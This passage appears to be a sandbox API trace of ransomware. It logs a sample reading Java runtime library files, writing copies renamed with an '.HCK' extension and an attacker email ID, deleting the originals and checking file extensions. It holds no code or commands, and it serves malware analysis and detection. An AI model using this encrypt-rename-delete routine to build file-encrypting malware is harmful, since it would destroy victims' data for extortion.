lpOverlapped=0x0) returned 1 [0227.869] WriteFile (in: hFile=0x3e4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xf6, lpOverlapped=0x0) returned 1 [0227.869] SetEndOfFile (hFile=0x3e4) returned 1 [0227.869] CloseHandle (hObject=0x3e4) returned 1 [0227.869] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.869] SetEndOfFile (hFile=0x448) returned 1 [0227.871] CloseHandle (hObject=0x448) returned 1 [0227.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0227.872] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 1 [0227.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0227.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0227.873] lstrlenW (lpString=".doc") returned 4 [0227.873] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0227.873] lstrlenW (lpString=".docx") returned 5 [0227.873] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0227.873] lstrlenW (lpString=".pdf") returned 4 [0227.873] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0227.873] lstrlenW (lpString=".xls") returned 4 [0227.873] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0227.873] lstrlenW (lpString=".xlsx") returned 5 [0227.873] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0227.873] lstrlenW (lpString=".ppt") returned 4 [0227.873] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0227.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0227.873] lstrlenW (lpString=".zip") returned 4 [0227.873] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0227.873] lstrlenW (lpString=".rar") returned 4 [0227.873] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0227.873] lstrlenW (lpString=".bz2") returned 4 [0227.873] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0227.873] lstrlenW (lpString=".7z") returned 3 [0227.873] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0227.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0227.873] lstrlenW (lpString=".dbf") returned 4 [0227.873] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0227.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0227.873] lstrlenW (lpString=".1cd") returned 4 [0227.873] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0227.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0227.874] lstrlenW (lpString=".jpg") returned 4 [0227.874] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0227.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0227.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0227.874] lstrlenW (lpString=".doc") returned 4 [0227.874] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0227.874] lstrlenW (lpString=".docx") returned 5 [0227.874] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0227.874] lstrlenW (lpString=".pdf") returned 4 [0227.874] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0227.874] lstrlenW (lpString=".xls") returned 4 [0227.874] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0227.874] lstrlenW (lpString=".xlsx") returned 5 [0227.874] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0227.874] lstrlenW (lpString=".ppt") returned 4 [0227.874] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0227.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0227.874] lstrlenW (lpString=".zip") returned 4 [0227.874] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0227.874] lstrlenW (lpString=".rar") returned 4 [0227.874] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0227.874] lstrlenW (lpString=".bz2") returned 4 [0227.874] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0227.874] lstrlenW (lpString=".7z") returned 3 [0227.874] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0227.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0227.874] lstrlenW (lpString=".dbf") returned 4 [0227.874] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0227.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0227.874] lstrlenW (lpString=".1cd") returned 4 [0227.874] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0227.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0227.874] lstrlenW (lpString=".jpg") returned 4 [0227.874] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0227.875] lstrcmpiW (lpString1=".jar", lpString2=".HCK") returned 1 [0227.875] lstrlenW (lpString="javaws.jar") returned 10 [0227.875] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0227.883] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=944167) returned 1 [0227.883] CloseHandle (hObject=0x3e4) returned 1 [0227.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 0x20 [0227.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.883] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0227.884] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.884] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.884] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0227.884] GetLastError () returned 0x0 [0227.884] ReadFile (in: hFile=0x3e4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0xe6827, lpOverlapped=0x0) returned 1 [0228.189] WriteFile (in: hFile=0x4c0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xe6830, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xe6830, lpOverlapped=0x0) returned 1 [0228.200] ReadFile (in: hFile=0x3e4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0228.200] WriteFile (in: hFile=0x4c0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xe8, lpOverlapped=0x0) returned 1 [0228.200] SetEndOfFile (hFile=0x4c0) returned 1 [0228.200] CloseHandle (hObject=0x4c0) returned 1 [0228.201] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0228.201] SetEndOfFile (hFile=0x3e4) returned 1 [0228.214] CloseHandle (hObject=0x3e4) returned 1 [0228.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0228.215] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 1 [0228.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0228.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0228.216] lstrlenW (lpString=".doc") returned 4 [0228.216] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0228.216] lstrlenW (lpString=".docx") returned 5 [0228.216] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0228.216] lstrlenW (lpString=".pdf") returned 4 [0228.216] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0228.216] lstrlenW (lpString=".xls") returned 4 [0228.216] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0228.216] lstrlenW (lpString=".xlsx") returned 5 [0228.216] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0228.216] lstrlenW (lpString=".ppt") returned 4 [0228.216] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0228.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0228.216] lstrlenW (lpString=".zip") returned 4 [0228.216] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0228.216] lstrlenW (lpString=".rar") returned 4 [0228.216] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0228.216] lstrlenW (lpString=".bz2") returned 4 [0228.216] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0228.216] lstrlenW (lpString=".7z") returned 3 [0228.216] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0228.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0228.216] lstrlenW (lpString=".dbf") returned 4 [0228.216] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0228.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0228.216] lstrlenW (lpString=".1cd") returned 4 [0228.216] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0228.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0228.216] lstrlenW (lpString=".jpg") returned 4 [0228.216] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0228.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0228.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0228.216] lstrlenW (lpString=".doc") returned 4 [0228.216] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0228.216] lstrlenW (lpString=".docx") returned 5 [0228.216] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0228.216] lstrlenW (lpString=".pdf") returned 4 [0228.216] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0228.216] lstrlenW (lpString=".xls") returned 4 [0228.216] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0228.216] lstrlenW (lpString=".xlsx") returned 5 [0228.216] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0228.216] lstrlenW (lpString=".ppt") returned 4 [0228.216] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0228.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0228.216] lstrlenW (lpString=".zip") returned 4 [0228.216] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0228.216] lstrlenW (lpString=".rar") returned 4 [0228.217] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0228.217] lstrlenW (lpString=".bz2") returned 4 [0228.217] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0228.217] lstrlenW (lpString=".7z") returned 3 [0228.217] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0228.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0228.217] lstrlenW (lpString=".dbf") returned 4 [0228.217] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0228.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0228.217] lstrlenW (lpString=".1cd") returned 4 [0228.217] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0228.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0228.217] lstrlenW (lpString=".jpg") returned 4 [0228.217] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0228.217] lstrcmpiW (lpString1=".jar", lpString2=".HCK") returned 1 [0228.217] lstrlenW (lpString="jfxswt.jar") returned 10 [0228.217] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0228.218] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=33932) returned 1 [0228.218] CloseHandle (hObject=0x3e4) returned 1 [0228.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 0x20 [0228.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.218] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0228.219] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0228.219] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0228.219] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0228.219] GetLastError () returned 0x0 [0228.219] ReadFile (in: hFile=0x3e4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x848c, lpOverlapped=0x0) returned 1 [0228.449] WriteFile (in: hFile=0x4c0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x8490, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x8490, lpOverlapped=0x0) returned 1 [0228.450] ReadFile (in: hFile=0x3e4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0228.450] WriteFile (in: hFile=0x4c0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xe8, lpOverlapped=0x0) returned 1 [0228.451] SetEndOfFile (hFile=0x4c0) returned 1 [0228.688] CloseHandle (hObject=0x4c0) returned 1 [0228.688] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0228.688] SetEndOfFile (hFile=0x3e4) returned 1 [0228.709] CloseHandle (hObject=0x3e4) returned 1 [0228.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0228.710] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 1 [0228.710] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0228.710] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0228.710] lstrlenW (lpString=".doc") returned 4 [0228.710] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0228.710] lstrlenW (lpString=".docx") returned 5 [0228.710] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0228.710] lstrlenW (lpString=".pdf") returned 4 [0228.710] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0228.710] lstrlenW (lpString=".xls") returned 4 [0228.710] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0228.710] lstrlenW (lpString=".xlsx") returned 5 [0228.710] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0228.710] lstrlenW (lpString=".ppt") returned 4 [0228.710] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0228.710] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0228.710] lstrlenW (lpString=".zip") returned 4 [0228.710] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0228.710] lstrlenW (lpString=".rar") returned 4 [0228.710] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0228.710] lstrlenW (lpString=".bz2") returned 4 [0228.710] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0228.711] lstrlenW (lpString=".7z") returned 3 [0228.711] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0228.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0228.711] lstrlenW (lpString=".dbf") returned 4 [0228.711] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0228.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0228.711] lstrlenW (lpString=".1cd") returned 4 [0228.711] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0228.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0228.711] lstrlenW (lpString=".jpg") returned 4 [0228.711] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0228.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0228.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0228.711] lstrlenW (lpString=".doc") returned 4 [0228.711] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0228.711] lstrlenW (lpString=".docx") returned 5 [0228.711] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0228.711] lstrlenW (lpString=".pdf") returned 4 [0228.711] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0228.711] lstrlenW (lpString=".xls") returned 4 [0228.711] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0228.711] lstrlenW (lpString=".xlsx") returned 5 [0228.711] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0228.711] lstrlenW (lpString=".ppt") returned 4 [0228.711] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0228.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0228.711] lstrlenW (lpString=".zip") returned 4 [0228.711] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0228.711] lstrlenW (lpString=".rar") returned 4 [0228.711] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0228.711] lstrlenW (lpString=".bz2") returned 4 [0228.711] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0228.711] lstrlenW (lpString=".7z") returned 3 [0228.711] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0228.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0228.711] lstrlenW (lpString=".dbf") returned 4 [0228.711] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0228.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0228.711] lstrlenW (lpString=".1cd") returned 4 [0228.711] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0228.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0228.711] lstrlenW (lpString=".jpg") returned 4 [0228.712] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0228.712] lstrcmpiW (lpString1=".jar", lpString2=".HCK") returned 1 [0228.712] lstrlenW (lpString="management-agent.jar") returned 20 [0228.712] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0228.712] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=381) returned 1 [0228.712] CloseHandle (hObject=0x3e4) returned 1 [0228.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 0x20 [0228.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.713] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0228.713] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0228.713] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0228.713] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0228.714] GetLastError () returned 0x0 [0228.714] ReadFile (in: hFile=0x3e4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x17d, lpOverlapped=0x0) returned 1 [0228.714] WriteFile (in: hFile=0x458, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x180, lpOverlapped=0x0) returned 1 [0228.715] ReadFile (in: hFile=0x3e4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0228.715] WriteFile (in: hFile=0x458, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xfc, lpOverlapped=0x0) returned 1 [0228.716] SetEndOfFile (hFile=0x458) returned 1 [0228.716] CloseHandle (hObject=0x458) returned 1 [0228.716] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0228.716] SetEndOfFile (hFile=0x3e4) returned 1 [0228.719] CloseHandle (hObject=0x3e4) returned 1 [0228.719] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0228.719] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 1 [0228.720] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0228.720] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0228.720] lstrlenW (lpString=".doc") returned 4 [0228.720] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0228.720] lstrlenW (lpString=".docx") returned 5 [0228.720] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0228.720] lstrlenW (lpString=".pdf") returned 4 [0228.720] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0228.720] lstrlenW (lpString=".xls") returned 4 [0228.720] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0228.720] lstrlenW (lpString=".xlsx") returned 5 